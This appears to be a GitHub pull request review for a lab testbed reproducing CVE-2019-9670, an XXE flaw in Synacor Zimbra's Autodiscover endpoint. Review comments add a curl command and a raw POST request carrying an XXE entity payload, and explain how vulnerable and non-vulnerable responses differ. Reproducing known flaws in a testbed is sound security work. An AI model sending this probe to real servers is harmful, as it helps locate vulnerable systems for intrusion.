Testbed for CVE-2019-9670 - Synacor Zimbra XXE #113
Conversation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
There was a problem hiding this comment.
Hello @LeonardoE95, thanks for your contribution!
The testbed is working, and the reproduction steps are clear. Please review the provided suggestions, and if they seem appropriate, feel free to apply them.
zimbra/CVE-2019-9670/README.md
Outdated
Comment on lines
34
to
50
| To test out the vulnerability, the following HTTP GET request can be used. | ||
|
|
||
| Request | ||
|
|
||
| ``` | ||
| POST /Autodiscover/Autodiscover.xml HTTP/1.1 | ||
| Host: 127.0.0.1 | ||
| Content-Type: application/xml | ||
| Content-Length: 177 | ||
|
|
||
| <!DOCTYPE foo [<!ELEMENT foo ANY> | ||
| <!ENTITY xxe "Test"> ]> | ||
| <Request> | ||
| <EMailAddress>email</EMailAddress> | ||
| <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema> | ||
| </Request> | ||
| ``` |
There was a problem hiding this comment.
Please provide a cURL command to easily reproduce the vulnerability without requiring an intercepting proxy
Suggested change
| To test out the vulnerability, the following HTTP GET request can be used. | |
| Request | |
| ``` | |
| POST /Autodiscover/Autodiscover.xml HTTP/1.1 | |
| Host: 127.0.0.1 | |
| Content-Type: application/xml | |
| Content-Length: 177 | |
| <!DOCTYPE foo [<!ELEMENT foo ANY> | |
| <!ENTITY xxe "Test"> ]> | |
| <Request> | |
| <EMailAddress>email</EMailAddress> | |
| <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema> | |
| </Request> | |
| ``` | |
| ## Reproduction Steps | |
| To test out the vulnerability, the following curl command can be used: | |
| ``` | |
| curl -k -X $'POST'\ | |
| --data-binary $'<!DOCTYPE foo [<!ELEMENT foo ANY>\x0d\x0a<!ENTITY xxe \"Test\"> ]>\x0d\x0a<Request>\x0d\x0a<EMailAddress>email</EMailAddress>\x0d\x0a<AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>\x0d\x0a</Request>' \ | |
| $'https://{service-host}:{port}/Autodiscover/Autodiscover.xml' | |
| ``` | |
| which will generate a POST request similar to the one reported below: | |
| ``` | |
| POST /Autodiscover/Autodiscover.xml HTTP/1.1 | |
| Content-Type: application/xml | |
| Content-Length: 177 | |
| <!DOCTYPE foo [<!ELEMENT foo ANY> | |
| <!ENTITY xxe "Test"> ]> | |
| <Request> | |
| <EMailAddress>email</EMailAddress> | |
| <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema> | |
| </Request> | |
| ``` |
There was a problem hiding this comment.
Useful feedback, thanks, added the curl command!
zimbra/CVE-2019-9670/README.md
Outdated
Comment on lines
52
to
54
| When sent to the vulnerable port (`8443`), the response will contain the string `Test`. | ||
|
|
||
| Vulnerable Response |
There was a problem hiding this comment.
Suggested change
| When sent to the vulnerable port (`8443`), the response will contain the string `Test`. | |
| Vulnerable Response | |
| ### Vulnerable Response | |
| When sent to the vulnerable instance on port `8443`, the response will contain the string `Test`, as shown in the example below: |
zimbra/CVE-2019-9670/README.md
Outdated
Comment on lines
75
to
77
| When sent to the non vulnerable port (`8500`), the response will not containg the string `Test`. | ||
|
|
||
| Non Vulnerable Response |
There was a problem hiding this comment.
Suggested change
| When sent to the non vulnerable port (`8500`), the response will not containg the string `Test`. | |
| Non Vulnerable Response | |
| ### Non Vulnerable Response | |
| When sent to the non vulnerable instance on port `8500`, the response will not contain the string `Test`, as shown in the example below: |
There was a problem hiding this comment.
Hi @LeonardoE95, please apply these changes to remove some superfluous comments.
Thanks!
zimbra/CVE-2019-9670/nginx.conf
Outdated
| @@ -0,0 +1,43 @@ | |||
| #user nobody; | |||
There was a problem hiding this comment.
Suggested change
| #user nobody; |
zimbra/CVE-2019-9670/nginx.conf
Outdated
Comment on lines
3
to
9
|
|
||
| #error_log logs/error.log; | ||
| #error_log logs/error.log notice; | ||
| #error_log logs/error.log info; | ||
|
|
||
| #pid logs/nginx.pid; | ||
|
|
There was a problem hiding this comment.
Suggested change
| #error_log logs/error.log; | |
| #error_log logs/error.log notice; | |
| #error_log logs/error.log info; | |
| #pid logs/nginx.pid; |
zimbra/CVE-2019-9670/nginx.conf
Outdated
Comment on lines
18
to
24
|
|
||
| #log_format main '$remote_addr - $remote_user [$time_local] "$request" ' | ||
| # '$status $body_bytes_sent "$http_referer" ' | ||
| # '"$http_user_agent" "$http_x_forwarded_for"'; | ||
|
|
||
| #access_log logs/access.log main; | ||
|
|
There was a problem hiding this comment.
Suggested change
| #log_format main '$remote_addr - $remote_user [$time_local] "$request" ' | |
| # '$status $body_bytes_sent "$http_referer" ' | |
| # '"$http_user_agent" "$http_x_forwarded_for"'; | |
| #access_log logs/access.log main; |
zimbra/CVE-2019-9670/nginx.conf
Outdated
Comment on lines
26
to
28
| #tcp_nopush on; | ||
|
|
||
| #keepalive_timeout 0; |
There was a problem hiding this comment.
Suggested change
| #tcp_nopush on; | |
| #keepalive_timeout 0; |
zimbra/CVE-2019-9670/nginx.conf
Outdated
Comment on lines
30
to
31
|
|
||
| #gzip on; |
There was a problem hiding this comment.
Suggested change
| #gzip on; |
|
Superfluous comments in nginx config removed. |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Hello there,
this PR contains the instructions required to setup a testbed for CVE-2019-9670.